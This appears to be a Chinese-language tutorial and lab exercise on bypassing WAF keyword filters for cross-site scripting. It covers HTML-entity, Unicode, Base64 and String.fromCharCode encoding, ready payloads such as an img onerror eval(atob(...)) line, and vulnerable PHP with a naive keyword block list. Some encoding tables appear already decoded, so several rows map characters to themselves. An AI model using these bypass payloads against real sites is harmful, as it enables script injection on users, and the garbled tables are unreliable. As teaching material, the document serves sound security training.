📖 教程:编码绕过技术
原理
WAF 通常使用字符串匹配检测危险关键字(如 alert、script、onerror)。
但 HTML 支持多种编码方式,浏览器会在解析 HTML 时先解码再执行。
核心思想:WAF 检查的是原始字符串,浏览器执行的是解码后的内容。
利用编码差异绕过关键字检测。
HTML 实体编码
HTML 实体以 & 开头,以 ; 结尾:
< → < (小于号)
> → > (大于号)
& → & (和号)
" → " (双引号)
a → a (十进制编码)
a → a (十六进制编码)
// 示例:alert 编码
a → a 或 a
l → l 或 l
e → e 或 e
r → r 或 r
t → t 或 t
// alert 可以编码为:
alert
Unicode 编码
// JavaScript 中的 Unicode 转义
a = a
l = l
e = e
// 在事件处理器中使用
onerror="\\u0061lert(1)"
// 或者使用反斜杠十六进制
onerror="\\x61lert(1)"
Base64 编码
// JavaScript 中解码 Base64
atob('YWxlcnQoMSk=') → alert(1)
// payload
<img src=x onerror="eval(atob(\'YWxlcnQoMSk=\'))">
String.fromCharCode
// 将字符码拼接成字符串
String.fromCharCode(97,108,101,114,116) → "alert"
// payload
<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
嵌套编码
// 多层编码:先 HTML 实体,再 JavaScript 解码
javascript:alert(1)
// HTML 解码后 → javascript:alert(1)
// 混合编码
onerror="alert(1)"
// HTML 解码后 → onerror="alert(1)"
编码类型速查表
字符 'a' 的不同编码表示:
├── HTML 十进制: a
├── HTML 十六进制: a
├── JS Unicode: a
├── JS Hex: \x61
├── JS Octal: \141
├── Base64: YQ== (在 'YWxlcnQoMSk=' 中)
└── URL 编码: %61
🎯 练习:绕过关键字过滤
◈ 渗透任务
WAF 编码过滤绕过测试
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
DataVault 数据管理平台 (data.datavault.example.com)
委托方
DataVault 升级了 WAF 关键字过滤,红队需要测试编码层面的绕过
任务目标
利用编码混淆绕过 WAF 的关键字过滤
- 使用 HTML 实体/Unicode/Base64 编码绕过过滤
- 成功执行 alert(1)
目标:DataVault 数据管理平台 (data.datavault.example.com) 的 WAF 会检测以下关键字并拦截:
script、alert、
onerror、onload、eval、javascript。
你需要使用编码技术绕过这些过滤。
在输入框中输入内容,点击"提交"查看结果...
🔒 过滤规则:
检测方式:
script · alert · onerror · onload · eval · javascript
检测方式:
stripos() 大小写不敏感匹配,不进行解码
🔧 编码速查工具
常用字符的 HTML 实体编码:
字符 → 十进制 → 十六进制
< → < → <
> → > → >
/ → / → /
" → " → "
' → ' → '
( → ( → (
) → ) → )
a → a → a
l → l → l
e → e → e
r → r → r
t → t → t
📄 查看漏洞源码 (PHP)
<?php
$input = $_GET['input'];
// WAF:过滤危险关键字
$blocked_keywords = ['script', 'alert', 'onerror', 'onload', 'eval', 'javascript'];
foreach ($blocked_keywords as $keyword) {
if (stripos($input, $keyword) !== false) {
die('WAF 拦截: 检测到危险关键字 [" . $keyword . "]');
}
}
// 输出(以为安全了,实际仍有漏洞)
echo $input;
?>